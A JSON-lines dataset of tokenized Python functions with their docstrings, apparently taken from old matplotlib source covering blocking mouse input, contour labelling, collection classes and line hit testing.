{"signature": "def button1( self, event ):", "body": "if event.inaxes:<EOL><INDENT>self.add_click(event)<EOL><DEDENT>else: <EOL><INDENT>BlockingInput.pop(self)<EOL><DEDENT>", "docstring": "Will be called for any event involving a button other than\nbutton 2 or 3.  This will add a click if it is inside axes.", "id": "f17176:c1:m4"}
{"signature": "def button2( self, event ):", "body": "<EOL>BlockingInput.pop(self)<EOL>self.fig.canvas.stop_event_loop()<EOL>", "docstring": "Will be called for any event involving button 2.\nButton 2 ends blocking input.", "id": "f17176:c1:m5"}
{"signature": "def button3( self, event ):", "body": "<EOL>BlockingInput.pop(self)<EOL>if len(self.events)><NUM_LIT:0>:<EOL><INDENT>self.pop()<EOL><DEDENT>", "docstring": "Will be called for any event involving button 3.\nButton 3 removes the last click.", "id": "f17176:c1:m6"}
{"signature": "def add_click(self,event):", "body": "self.clicks.append((event.xdata,event.ydata))<EOL>verbose.report(\"<STR_LIT>\" %<EOL>(len(self.clicks),event.xdata, event.ydata))<EOL>if self.show_clicks:<EOL><INDENT>self.marks.extend(<EOL>event.inaxes.plot([event.xdata,], [event.ydata,], '<STR_LIT>') )<EOL>self.fig.canvas.draw()<EOL><DEDENT>", "docstring": "This add the coordinates of an event to the list of clicks", "id": "f17176:c1:m7"}
{"signature": "def pop_click(self,index=-<NUM_LIT:1>):", "body": "self.clicks.pop(index)<EOL>if self.show_clicks:<EOL><INDENT>mark = self.marks.pop(index)<EOL>mark.remove()<EOL>self.fig.canvas.draw()<EOL><DEDENT>", "docstring": "This removes a click from the list of clicks.  Defaults to\nremoving the last click.", "id": "f17176:c1:m8"}
{"signature": "def pop(self,index=-<NUM_LIT:1>):", "body": "self.pop_click(index)<EOL>BlockingInput.pop(self,index)<EOL>", "docstring": "This removes a click and the associated event from the object.\nDefaults to removing the last click, but any index can be\nsupplied.", "id": "f17176:c1:m9"}
{"signature": "def __call__(self, n=<NUM_LIT:1>, timeout=<NUM_LIT:30>, show_clicks=True):", "body": "self.show_clicks = show_clicks<EOL>self.clicks      = []<EOL>self.marks       = []<EOL>BlockingInput.__call__(self,n=n,timeout=timeout)<EOL>return self.clicks<EOL>", "docstring": "Blocking call to retrieve n coordinate pairs through mouse\nclicks.", "id": "f17176:c1:m11"}
{"signature": "def button1(self,event):", "body": "<EOL>cs = self.cs<EOL>if event.inaxes == cs.ax:<EOL><INDENT>conmin,segmin,imin,xmin,ymin = cs.find_nearest_contour(<EOL>event.x, event.y, cs.labelIndiceList)[:<NUM_LIT:5>]<EOL>lmin = cs.labelIndiceList.index(conmin)<EOL>paths = cs.collections[conmin].get_paths()<EOL>lc = paths[segmin].vertices<EOL>slc = cs.ax.transData.transform(lc)<EOL>lw = cs.get_label_width(cs.labelLevelList[lmin],<EOL>cs.labelFmt, cs.labelFontSizeList[lmin])<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>if self.inline: lcarg = lc<EOL>else: lcarg = None<EOL>rotation,nlc = cs.calc_label_rot_and_inline(<EOL>slc, imin, lw, lcarg,<EOL>self.inline_spacing )<EOL>cs.add_label(xmin,ymin,rotation,cs.labelLevelList[lmin],<EOL>cs.labelCValueList[lmin])<EOL>if self.inline:<EOL><INDENT>paths.pop(segmin)<EOL>for n in nlc:<EOL><INDENT>if len(n)><NUM_LIT:1>:<EOL><INDENT>paths.append( path.Path(n) )<EOL><DEDENT><DEDENT><DEDENT>self.fig.canvas.draw()<EOL><DEDENT>else: <EOL><INDENT>BlockingInput.pop(self)<EOL><DEDENT>", "docstring": "This will be called if an event involving a button other than\n2 or 3 occcurs.  This will add a label to a contour.", "id": "f17176:c2:m1"}
{"signature": "def button3(self,event):", "body": "<EOL>BlockingInput.pop(self)<EOL>if self.inline:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>self.cs.pop_label()<EOL>self.cs.ax.figure.canvas.draw()<EOL><DEDENT>", "docstring": "This will be called if button 3 is clicked.  This will remove\na label if not in inline mode.  Unfortunately, if one is doing\ninline labels, then there is currently no way to fix the\nbroken contour - once humpty-dumpty is broken, he can't be put\nback together.  In inline mode, this does nothing.", "id": "f17176:c2:m2"}
{"signature": "def post_event(self):", "body": "assert len(self.events)><NUM_LIT:0>, \"<STR_LIT>\"<EOL>self.keyormouse = self.events[-<NUM_LIT:1>].name == '<STR_LIT>'<EOL>", "docstring": "Determines if it is a key event", "id": "f17176:c3:m1"}
{"signature": "def __call__(self, timeout=<NUM_LIT:30>):", "body": "self.keyormouse = None<EOL>BlockingInput.__call__(self,n=<NUM_LIT:1>,timeout=timeout)<EOL>return self.keyormouse<EOL>", "docstring": "Blocking call to retrieve a single mouse or key click\nReturns True if key click, False if mouse, or None if timeout", "id": "f17176:c3:m2"}
{"signature": "def __init__(self,<EOL>edgecolors=None,<EOL>facecolors=None,<EOL>linewidths=None,<EOL>linestyles='<STR_LIT>',<EOL>antialiaseds=None,<EOL>offsets=None,<EOL>transOffset=None,<EOL>norm=None,  <EOL>cmap=None,  <EOL>pickradius=<NUM_LIT>,<EOL>urls=None,<EOL>**kwargs<EOL>):", "body": "artist.Artist.__init__(self)<EOL>cm.ScalarMappable.__init__(self, norm, cmap)<EOL>self.set_edgecolor(edgecolors)<EOL>self.set_facecolor(facecolors)<EOL>self.set_linewidth(linewidths)<EOL>self.set_linestyle(linestyles)<EOL>self.set_antialiased(antialiaseds)<EOL>self.set_urls(urls)<EOL>self._uniform_offsets = None<EOL>self._offsets = np.array([], np.float_)<EOL>if offsets is not None:<EOL><INDENT>offsets = np.asarray(offsets)<EOL>if len(offsets.shape) == <NUM_LIT:1>:<EOL><INDENT>offsets = offsets[np.newaxis, :]  <EOL><DEDENT>if transOffset is not None:<EOL><INDENT>self._offsets = offsets<EOL>self._transOffset = transOffset<EOL><DEDENT>else:<EOL><INDENT>self._uniform_offsets = offsets<EOL><DEDENT><DEDENT>self._pickradius = pickradius<EOL>self.update(kwargs)<EOL>", "docstring": "Create a Collection\n\n%(Collection)s", "id": "f17178:c0:m0"}
{"signature": "def _prepare_points(self):", "body": "transform = self.get_transform()<EOL>transOffset = self._transOffset<EOL>offsets = self._offsets<EOL>paths = self.get_paths()<EOL>if self.have_units():<EOL><INDENT>paths = []<EOL>for path in self.get_paths():<EOL><INDENT>vertices = path.vertices<EOL>xs, ys = vertices[:, <NUM_LIT:0>], vertices[:, <NUM_LIT:1>]<EOL>xs = self.convert_xunits(xs)<EOL>ys = self.convert_yunits(ys)<EOL>paths.append(mpath.Path(zip(xs, ys), path.codes))<EOL><DEDENT>if len(self._offsets):<EOL><INDENT>xs = self.convert_xunits(self._offsets[:<NUM_LIT:0>])<EOL>ys = self.convert_yunits(self._offsets[:<NUM_LIT:1>])<EOL>offsets = zip(xs, ys)<EOL><DEDENT><DEDENT>offsets = np.asarray(offsets, np.float_)<EOL>if not transform.is_affine:<EOL><INDENT>paths = [transform.transform_path_non_affine(<EOL>path) for path in paths]<EOL>transform = transform.get_affine()<EOL><DEDENT>if not transOffset.is_affine:<EOL><INDENT>offsets = transOffset.transform_non_affine(offsets)<EOL>transOffset = transOffset.get_affine()<EOL><DEDENT>return transform, transOffset, offsets, paths<EOL>", "docstring": "Point prep for drawing and hit testing", "id": "f17178:c0:m7"}
{"signature": "def contains(self, mouseevent):", "body": "if callable(self._contains):<EOL><INDENT>return self._contains(self, mouseevent)<EOL><DEDENT>if not self.get_visible():<EOL><INDENT>return False, {}<EOL><DEDENT>transform, transOffset, offsets, paths = self._prepare_points()<EOL>ind = mpath.point_in_path_collection(<EOL>mouseevent.x, mouseevent.y, self._pickradius,<EOL>transform.frozen(), paths, self.get_transforms(),<EOL>offsets, transOffset, len(self._facecolors) > <NUM_LIT:0>)<EOL>return len(ind) > <NUM_LIT:0>, dict(ind=ind)<EOL>", "docstring": "Test whether the mouse event occurred in the collection.\n\nReturns True | False, ``dict(ind=itemlist)``, where every\nitem in itemlist contains the event.", "id": "f17178:c0:m9"}
{"signature": "def set_offsets(self, offsets):", "body": "offsets = np.asarray(offsets, np.float_)<EOL>if len(offsets.shape) == <NUM_LIT:1>:<EOL><INDENT>offsets = offsets[np.newaxis, :]  <EOL><DEDENT>if self._uniform_offsets is None:<EOL><INDENT>self._offsets = offsets<EOL><DEDENT>else:<EOL><INDENT>self._uniform_offsets = offsets<EOL><DEDENT>", "docstring": "Set the offsets for the collection.  *offsets* can be a scalar\nor a sequence.\n\nACCEPTS: float or sequence of floats", "id": "f17178:c0:m14"}
{"signature": "def get_offsets(self):", "body": "<EOL>if self._uniform_offsets is None:<EOL><INDENT>return self._offsets<EOL><DEDENT>else:<EOL><INDENT>return self._uniform_offsets<EOL><DEDENT>", "docstring": "Return the offsets for the collection.", "id": "f17178:c0:m15"}
{"signature": "def set_linewidth(self, lw):", "body": "if lw is None:<EOL><INDENT>lw = mpl.rcParams['<STR_LIT>']<EOL><DEDENT>self._linewidths = self._get_value(lw)<EOL>", "docstring": "Set the linewidth(s) for the collection.  *lw* can be a scalar\nor a sequence; if it is a sequence the patches will cycle\nthrough the sequence\n\nACCEPTS: float or sequence of floats", "id": "f17178:c0:m16"}
{"signature": "def set_linewidths(self, lw):", "body": "return self.set_linewidth(lw)<EOL>", "docstring": "alias for set_linewidth", "id": "f17178:c0:m17"}
{"signature": "def set_lw(self, lw):", "body": "return self.set_linewidth(lw)<EOL>", "docstring": "alias for set_linewidth", "id": "f17178:c0:m18"}
{"signature": "def set_linestyle(self, ls):", "body": "try:<EOL><INDENT>dashd = backend_bases.GraphicsContextBase.dashd<EOL>if cbook.is_string_like(ls):<EOL><INDENT>if ls in dashd:<EOL><INDENT>dashes = [dashd[ls]]<EOL><DEDENT>elif ls in cbook.ls_mapper:<EOL><INDENT>dashes = [dashd[cbook.ls_mapper[ls]]]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError()<EOL><DEDENT><DEDENT>elif cbook.iterable(ls):<EOL><INDENT>try:<EOL><INDENT>dashes = []<EOL>for x in ls:<EOL><INDENT>if cbook.is_string_like(x):<EOL><INDENT>if x in dashd:<EOL><INDENT>dashes.append(dashd[x])<EOL><DEDENT>elif x in cbook.ls_mapper:<EOL><INDENT>dashes.append(dashd[cbook.ls_mapper[x]])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError()<EOL><DEDENT><DEDENT>elif cbook.iterable(x) and len(x) == <NUM_LIT:2>:<EOL><INDENT>dashes.append(x)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError()<EOL><DEDENT><DEDENT><DEDENT>except ValueError:<EOL><INDENT>if len(ls) == <NUM_LIT:2>:<EOL><INDENT>dashes = ls<EOL><DEDENT>else:<EOL><INDENT>raise ValueError()<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError()<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>raise ValueError('<STR_LIT>' % ls)<EOL><DEDENT>self._linestyles = dashes<EOL>", "docstring": "Set the linestyle(s) for the collection.\n\nACCEPTS: ['solid' | 'dashed', 'dashdot', 'dotted' |\n(offset, on-off-dash-seq) ]", "id": "f17178:c0:m19"}
{"signature": "def set_linestyles(self, ls):", "body": "return self.set_linestyle(ls)<EOL>", "docstring": "alias for set_linestyle", "id": "f17178:c0:m20"}
{"signature": "def set_dashes(self, ls):", "body": "return self.set_linestyle(ls)<EOL>", "docstring": "alias for set_linestyle", "id": "f17178:c0:m21"}
{"signature": "def set_antialiased(self, aa):", "body": "if aa is None:<EOL><INDENT>aa = mpl.rcParams['<STR_LIT>']<EOL><DEDENT>self._antialiaseds = self._get_bool(aa)<EOL>", "docstring": "Set the antialiasing state for rendering.\n\nACCEPTS: Boolean or sequence of booleans", "id": "f17178:c0:m22"}
{"signature": "def set_antialiaseds(self, aa):", "body": "return self.set_antialiased(aa)<EOL>", "docstring": "alias for set_antialiased", "id": "f17178:c0:m23"}
{"signature": "def set_color(self, c):", "body": "self.set_facecolor(c)<EOL>self.set_edgecolor(c)<EOL>", "docstring": "Set both the edgecolor and the facecolor.\n\nACCEPTS: matplotlib color arg or sequence of rgba tuples\n\n.. seealso::\n    :meth:`set_facecolor`, :meth:`set_edgecolor`", "id": "f17178:c0:m24"}
{"signature": "def set_facecolor(self, c):", "body": "if c is None:<EOL><INDENT>c = mpl.rcParams['<STR_LIT>']<EOL><DEDENT>self._facecolors_original = c<EOL>self._facecolors = _colors.colorConverter.to_rgba_array(c, self._alpha)<EOL>", "docstring": "Set the facecolor(s) of the collection.  *c* can be a\nmatplotlib color arg (all patches have same color), or a\nsequence or rgba tuples; if it is a sequence the patches will\ncycle through the sequence\n\nACCEPTS: matplotlib color arg or sequence of rgba tuples", "id": "f17178:c0:m25"}
{"signature": "def set_facecolors(self, c):", "body": "return self.set_facecolor(c)<EOL>", "docstring": "alias for set_facecolor", "id": "f17178:c0:m26"}
{"signature": "def set_edgecolor(self, c):", "body": "if c == '<STR_LIT>':<EOL><INDENT>self._edgecolors = '<STR_LIT>'<EOL>self._edgecolors_original = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>if c is None:<EOL><INDENT>c = mpl.rcParams['<STR_LIT>']<EOL><DEDENT>self._edgecolors_original = c<EOL>self._edgecolors = _colors.colorConverter.to_rgba_array(<EOL>c, self._alpha)<EOL><DEDENT>", "docstring": "Set the edgecolor(s) of the collection. *c* can be a\nmatplotlib color arg (all patches have same color), or a\nsequence or rgba tuples; if it is a sequence the patches will\ncycle through the sequence.\n\nIf *c* is 'face', the edge color will always be the same as\nthe face color.\n\nACCEPTS: matplotlib color arg or sequence of rgba tuples", "id": "f17178:c0:m29"}
{"signature": "def set_edgecolors(self, c):", "body": "return self.set_edgecolor(c)<EOL>", "docstring": "alias for set_edgecolor", "id": "f17178:c0:m30"}
{"signature": "def set_alpha(self, alpha):", "body": "try:<EOL><INDENT>float(alpha)<EOL><DEDENT>except TypeError:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>artist.Artist.set_alpha(self, alpha)<EOL>try:<EOL><INDENT>self._facecolors = _colors.colorConverter.to_rgba_array(<EOL>self._facecolors_original, self._alpha)<EOL><DEDENT>except (AttributeError, TypeError, IndexError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if self._edgecolors_original != '<STR_LIT>':<EOL><INDENT>self._edgecolors = _colors.colorConverter.to_rgba_array(<EOL>self._edgecolors_original, self._alpha)<EOL><DEDENT><DEDENT>except (AttributeError, TypeError, IndexError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Set the alpha tranparencies of the collection.  *alpha* must be\na float.\n\nACCEPTS: float", "id": "f17178:c0:m31"}
{"signature": "def update_scalarmappable(self):", "body": "if self._A is None:<EOL><INDENT>return<EOL><DEDENT>if self._A.ndim > <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if len(self._facecolors):<EOL><INDENT>self._facecolors = self.to_rgba(self._A, self._alpha)<EOL><DEDENT>else:<EOL><INDENT>self._edgecolors = self.to_rgba(self._A, self._alpha)<EOL><DEDENT>", "docstring": "If the scalar mappable array is not none, update colors\nfrom scalar data", "id": "f17178:c0:m34"}
{"signature": "def update_from(self, other):", "body": "artist.Artist.update_from(self, other)<EOL>self._antialiaseds = other._antialiaseds<EOL>self._edgecolors_original = other._edgecolors_original<EOL>self._edgecolors = other._edgecolors<EOL>self._facecolors_original = other._facecolors_original<EOL>self._facecolors = other._facecolors<EOL>self._linewidths = other._linewidths<EOL>self._linestyles = other._linestyles<EOL>self._pickradius = other._pickradius<EOL>", "docstring": "copy properties from other to self", "id": "f17178:c0:m35"}
{"signature": "def convert_mesh_to_paths(meshWidth, meshHeight, coordinates):", "body": "Path = mpath.Path<EOL>if ma.isMaskedArray(coordinates):<EOL><INDENT>c = coordinates.data<EOL><DEDENT>else:<EOL><INDENT>c = coordinates<EOL><DEDENT>points = np.concatenate((<EOL>c[<NUM_LIT:0>:-<NUM_LIT:1>, <NUM_LIT:0>:-<NUM_LIT:1>],<EOL>c[<NUM_LIT:0>:-<NUM_LIT:1>, <NUM_LIT:1>:],<EOL>c[<NUM_LIT:1>:, <NUM_LIT:1>:],<EOL>c[<NUM_LIT:1>:, <NUM_LIT:0>:-<NUM_LIT:1>],<EOL>c[<NUM_LIT:0>:-<NUM_LIT:1>, <NUM_LIT:0>:-<NUM_LIT:1>]<EOL>), axis=<NUM_LIT:2>)<EOL>points = points.reshape((meshWidth * meshHeight, <NUM_LIT:5>, <NUM_LIT:2>))<EOL>return [Path(x) for x in points]<EOL>", "docstring": "Converts a given mesh into a sequence of\n:class:`matplotlib.path.Path` objects for easier rendering by\nbackends that do not directly support quadmeshes.\n\nThis function is primarily of use to backend implementers.", "id": "f17178:c1:m2"}
{"signature": "def __init__(self, verts, sizes=None, closed=True, **kwargs):", "body": "Collection.__init__(self, **kwargs)<EOL>self._sizes = sizes<EOL>self.set_verts(verts, closed)<EOL>", "docstring": "*verts* is a sequence of ( *verts0*, *verts1*, ...) where\n*verts_i* is a sequence of *xy* tuples of vertices, or an\nequivalent :mod:`numpy` array of shape (*nv*, 2).\n\n*sizes* is *None* (default) or a sequence of floats that\nscale the corresponding *verts_i*.  The scaling is applied\nbefore the Artist master transform; if the latter is an identity\ntransform, then the overall scaling is such that if\n*verts_i* specify a unit square, then *sizes_i* is the area\nof that square in points^2.\nIf len(*sizes*) < *nv*, the additional values will be\ntaken cyclically from the array.\n\n*closed*, when *True*, will explicitly close the polygon.\n\n%(Collection)s", "id": "f17178:c2:m0"}
{"signature": "def set_verts(self, verts, closed=True):", "body": "if closed:<EOL><INDENT>self._paths = []<EOL>for xy in verts:<EOL><INDENT>if np.ma.isMaskedArray(xy):<EOL><INDENT>if len(xy) and (xy[<NUM_LIT:0>] != xy[-<NUM_LIT:1>]).any():<EOL><INDENT>xy = np.ma.concatenate([xy, [xy[<NUM_LIT:0>]]])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>xy = np.asarray(xy)<EOL>if len(xy) and (xy[<NUM_LIT:0>] != xy[-<NUM_LIT:1>]).any():<EOL><INDENT>xy = np.concatenate([xy, [xy[<NUM_LIT:0>]]])<EOL><DEDENT><DEDENT>self._paths.append(mpath.Path(xy))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._paths = [mpath.Path(xy) for xy in verts]<EOL><DEDENT>", "docstring": "This allows one to delay initialization of the vertices.", "id": "f17178:c2:m1"}
{"signature": "def __init__(self, xranges, yrange, **kwargs):", "body": "ymin, ywidth = yrange<EOL>ymax = ymin + ywidth<EOL>verts = [[(xmin, ymin), (xmin, ymax), (xmin+xwidth, ymax),<EOL>(xmin+xwidth, ymin), (xmin, ymin)] for xmin, xwidth in xranges]<EOL>PolyCollection.__init__(self, verts, **kwargs)<EOL>", "docstring": "*xranges*\n    sequence of (*xmin*, *xwidth*)\n\n*yrange*\n    *ymin*, *ywidth*\n\n%(Collection)s", "id": "f17178:c3:m0"}
{"signature": "@staticmethod<EOL><INDENT>def span_where(x, ymin, ymax, where, **kwargs):<DEDENT>", "body": "xranges = []<EOL>for ind0, ind1 in mlab.contiguous_regions(where):<EOL><INDENT>xslice = x[ind0:ind1]<EOL>if not len(xslice):<EOL><INDENT>continue<EOL><DEDENT>xranges.append((xslice[<NUM_LIT:0>], xslice[-<NUM_LIT:1>]-xslice[<NUM_LIT:0>]))<EOL><DEDENT>collection = BrokenBarHCollection(xranges, [ymin, ymax-ymin], **kwargs)<EOL>return collection<EOL>", "docstring": "Create a BrokenBarHCollection to plot horizontal bars from\nover the regions in *x* where *where* is True.  The bars range\non the y-axis from *ymin* to *ymax*\n\nA :class:`BrokenBarHCollection` is returned.\n*kwargs* are passed on to the collection", "id": "f17178:c3:m1"}
{"signature": "def __init__(self,<EOL>numsides,<EOL>rotation=<NUM_LIT:0>,<EOL>sizes=(<NUM_LIT:1>,),<EOL>**kwargs):", "body": "Collection.__init__(self, **kwargs)<EOL>self._sizes = sizes<EOL>self._numsides = numsides<EOL>self._paths = [self._path_generator(numsides)]<EOL>self._rotation = rotation<EOL>self.set_transform(transforms.IdentityTransform())<EOL>", "docstring": "*numsides*\n    the number of sides of the polygon\n\n*rotation*\n    the rotation of the polygon in radians\n\n*sizes*\n    gives the area of the circle circumscribing the\n    regular polygon in points^2\n\n%(Collection)s\n\nExample: see :file:`examples/dynamic_collection.py` for\ncomplete example::\n\n    offsets = np.random.rand(20,2)\n    facecolors = [cm.jet(x) for x in np.random.rand(20)]\n    black = (0,0,0,1)\n\n    collection = RegularPolyCollection(\n        numsides=5, # a pentagon\n        rotation=0, sizes=(50,),\n        facecolors = facecolors,\n        edgecolors = (black,),\n        linewidths = (1,),\n        offsets = offsets,\n        transOffset = ax.transData,\n        )", "id": "f17178:c4:m0"}
{"signature": "def __init__(self, segments,     <EOL>linewidths=None,<EOL>colors=None,<EOL>antialiaseds=None,<EOL>linestyles='<STR_LIT>',<EOL>offsets=None,<EOL>transOffset=None,<EOL>norm=None,<EOL>cmap=None,<EOL>pickradius=<NUM_LIT:5>,<EOL>**kwargs<EOL>):", "body": "if colors is None:<EOL><INDENT>colors = mpl.rcParams['<STR_LIT>']<EOL><DEDENT>if linewidths is None:<EOL><INDENT>linewidths = (mpl.rcParams['<STR_LIT>'],)<EOL><DEDENT>if antialiaseds is None:<EOL><INDENT>antialiaseds = (mpl.rcParams['<STR_LIT>'],)<EOL><DEDENT>self.set_linestyles(linestyles)<EOL>colors = _colors.colorConverter.to_rgba_array(colors)<EOL>Collection.__init__(<EOL>self,<EOL>edgecolors=colors,<EOL>linewidths=linewidths,<EOL>linestyles=linestyles,<EOL>antialiaseds=antialiaseds,<EOL>offsets=offsets,<EOL>transOffset=transOffset,<EOL>norm=norm,<EOL>cmap=cmap,<EOL>pickradius=pickradius,<EOL>**kwargs)<EOL>self.set_facecolors([])<EOL>self.set_segments(segments)<EOL>", "docstring": "*segments*\n    a sequence of (*line0*, *line1*, *line2*), where::\n\n        linen = (x0, y0), (x1, y1), ... (xm, ym)\n\n    or the equivalent numpy array with two columns. Each line\n    can be a different length.\n\n*colors*\n    must be a sequence of RGBA tuples (eg arbitrary color\n    strings, etc, not allowed).\n\n*antialiaseds*\n    must be a sequence of ones or zeros\n\n*linestyles* [ 'solid' | 'dashed' | 'dashdot' | 'dotted' ]\n    a string or dash tuple. The dash tuple is::\n\n        (offset, onoffseq),\n\n    where *onoffseq* is an even length tuple of on and off ink\n    in points.\n\nIf *linewidths*, *colors*, or *antialiaseds* is None, they\ndefault to their rcParams setting, in sequence form.\n\nIf *offsets* and *transOffset* are not None, then\n*offsets* are transformed by *transOffset* and applied after\nthe segments have been transformed to display coordinates.\n\nIf *offsets* is not None but *transOffset* is None, then the\n*offsets* are added to the segments before any transformation.\nIn this case, a single offset can be specified as::\n\n    offsets=(xo,yo)\n\nand this value will be added cumulatively to each successive\nsegment, so as to produce a set of successively offset curves.\n\n*norm*\n    None (optional for :class:`matplotlib.cm.ScalarMappable`)\n*cmap*\n    None (optional for :class:`matplotlib.cm.ScalarMappable`)\n\n*pickradius* is the tolerance for mouse clicks picking a line.\nThe default is 5 pt.\n\nThe use of :class:`~matplotlib.cm.ScalarMappable` is optional.\nIf the :class:`~matplotlib.cm.ScalarMappable` matrix\n:attr:`~matplotlib.cm.ScalarMappable._A` is not None (ie a call to\n:meth:`~matplotlib.cm.ScalarMappable.set_array` has been made), at\ndraw time a call to scalar mappable will be made to set the colors.", "id": "f17178:c7:m0"}
{"signature": "def set_color(self, c):", "body": "self._edgecolors = _colors.colorConverter.to_rgba_array(c)<EOL>", "docstring": "Set the color(s) of the line collection.  *c* can be a\nmatplotlib color arg (all patches have same color), or a\nsequence or rgba tuples; if it is a sequence the patches will\ncycle through the sequence\n\nACCEPTS: matplotlib color arg or sequence of rgba tuples", "id": "f17178:c7:m4"}
{"signature": "def color(self, c):", "body": "warnings.warn('<STR_LIT>')<EOL>return self.set_color(c)<EOL>", "docstring": "Set the color(s) of the line collection.  *c* can be a\nmatplotlib color arg (all patches have same color), or a\nsequence or rgba tuples; if it is a sequence the patches will\ncycle through the sequence\n\nACCEPTS: matplotlib color arg or sequence of rgba tuples", "id": "f17178:c7:m5"}
{"signature": "def __init__(self, sizes, **kwargs):", "body": "Collection.__init__(self, **kwargs)<EOL>self._sizes = sizes<EOL>self.set_transform(transforms.IdentityTransform())<EOL>self._paths = [mpath.Path.unit_circle()]<EOL>", "docstring": "*sizes*\n    Gives the area of the circle in points^2\n\n%(Collection)s", "id": "f17178:c8:m0"}
{"signature": "def __init__(self, widths, heights, angles, units='<STR_LIT>', **kwargs):", "body": "Collection.__init__(self, **kwargs)<EOL>self._widths = np.asarray(widths).ravel()<EOL>self._heights = np.asarray(heights).ravel()<EOL>self._angles = np.asarray(angles).ravel() * (np.pi/<NUM_LIT>)<EOL>self._units = units<EOL>self.set_transform(transforms.IdentityTransform())<EOL>self._transforms = []<EOL>self._paths = [mpath.Path.unit_circle()]<EOL>self._initialized = False<EOL>", "docstring": "*widths*: sequence\n    half-lengths of first axes (e.g., semi-major axis lengths)\n\n*heights*: sequence\n    half-lengths of second axes\n\n*angles*: sequence\n    angles of first axes, degrees CCW from the X-axis\n\n*units*: ['points' | 'inches' | 'dots' | 'width' | 'height' | 'x' | 'y']\n    units in which majors and minors are given; 'width' and 'height'\n    refer to the dimensions of the axes, while 'x' and 'y'\n    refer to the *offsets* data units.\n\nAdditional kwargs inherited from the base :class:`Collection`:\n\n%(Collection)s", "id": "f17178:c9:m0"}
{"signature": "def __init__(self, patches, match_original=False, **kwargs):", "body": "if match_original:<EOL><INDENT>def determine_facecolor(patch):<EOL><INDENT>if patch.fill:<EOL><INDENT>return patch.get_facecolor()<EOL><DEDENT>return [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>]<EOL><DEDENT>facecolors = [determine_facecolor(p) for p in patches]<EOL>edgecolors = [p.get_edgecolor() for p in patches]<EOL>linewidths = [p.get_linewidths() for p in patches]<EOL>antialiaseds = [p.get_antialiased() for p in patches]<EOL>Collection.__init__(<EOL>self,<EOL>edgecolors=edgecolors,<EOL>facecolors=facecolors,<EOL>linewidths=linewidths,<EOL>linestyles='<STR_LIT>',<EOL>antialiaseds=antialiaseds)<EOL><DEDENT>else:<EOL><INDENT>Collection.__init__(self, **kwargs)<EOL><DEDENT>paths = [p.get_transform().transform_path(p.get_path())<EOL>for p in patches]<EOL>self._paths = paths<EOL>", "docstring": "*patches*\n    a sequence of Patch objects.  This list may include\n    a heterogeneous assortment of different patch types.\n\n*match_original*\n    If True, use the colors and linewidths of the original\n    patches.  If False, new colors may be assigned by\n    providing the standard collection arguments, facecolor,\n    edgecolor, linewidths, norm or cmap.\n\nIf any of *edgecolors*, *facecolors*, *linewidths*,\n*antialiaseds* are None, they default to their\n:data:`matplotlib.rcParams` patch setting, in sequence form.\n\nThe use of :class:`~matplotlib.cm.ScalarMappable` is optional.\nIf the :class:`~matplotlib.cm.ScalarMappable` matrix _A is not\nNone (ie a call to set_array has been made), at draw time a\ncall to scalar mappable will be made to set the face colors.", "id": "f17178:c10:m0"}
{"signature": "def segment_hits(cx, cy, x, y, radius):", "body": "<EOL>if len(x) < <NUM_LIT:2>:<EOL><INDENT>res, = np.nonzero( (cx - x)**<NUM_LIT:2> + (cy - y)**<NUM_LIT:2> <= radius**<NUM_LIT:2> )<EOL>return res<EOL><DEDENT>xr,yr = x[:-<NUM_LIT:1>],y[:-<NUM_LIT:1>]<EOL>dx,dy = x[<NUM_LIT:1>:]-xr, y[<NUM_LIT:1>:]-yr<EOL>Lnorm_sq = dx**<NUM_LIT:2>+dy**<NUM_LIT:2>    <EOL>u = ( (cx-xr)*dx + (cy-yr)*dy )/Lnorm_sq<EOL>candidates = (u>=<NUM_LIT:0>) & (u<=<NUM_LIT:1>)<EOL>point_hits = (cx - x)**<NUM_LIT:2> + (cy - y)**<NUM_LIT:2> <= radius**<NUM_LIT:2><EOL>candidates = candidates & ~(point_hits[:-<NUM_LIT:1>] | point_hits[<NUM_LIT:1>:])<EOL>px,py = xr+u*dx,yr+u*dy<EOL>line_hits = (cx-px)**<NUM_LIT:2> + (cy-py)**<NUM_LIT:2> <= radius**<NUM_LIT:2><EOL>line_hits = line_hits & candidates<EOL>points, = point_hits.ravel().nonzero()<EOL>lines, = line_hits.ravel().nonzero()<EOL>return np.concatenate((points,lines))<EOL>", "docstring": "Determine if any line segments are within radius of a\npoint. Returns the list of line segments that are within that\nradius.", "id": "f17180:m1"}
{"signature": "def __init__(self, xdata, ydata,<EOL>linewidth       = None, <EOL>linestyle       = None,<EOL>color           = None,<EOL>marker          = None,<EOL>markersize      = None,<EOL>markeredgewidth = None,<EOL>markeredgecolor = None,<EOL>markerfacecolor = None,<EOL>antialiased     = None,<EOL>dash_capstyle   = None,<EOL>solid_capstyle  = None,<EOL>dash_joinstyle  = None,<EOL>solid_joinstyle = None,<EOL>pickradius      = <NUM_LIT:5>,<EOL>drawstyle       = None,<EOL>**kwargs<EOL>):", "body": "Artist.__init__(self)<EOL>if not iterable(xdata):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if not iterable(ydata):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if linewidth is None   : linewidth=rcParams['<STR_LIT>']<EOL>if linestyle is None   : linestyle=rcParams['<STR_LIT>']<EOL>if marker is None      : marker=rcParams['<STR_LIT>']<EOL>if color is None       : color=rcParams['<STR_LIT>']<EOL>if markersize is None  : markersize=rcParams['<STR_LIT>']<EOL>if antialiased is None : antialiased=rcParams['<STR_LIT>']<EOL>if dash_capstyle is None : dash_capstyle=rcParams['<STR_LIT>']<EOL>if dash_joinstyle is None : 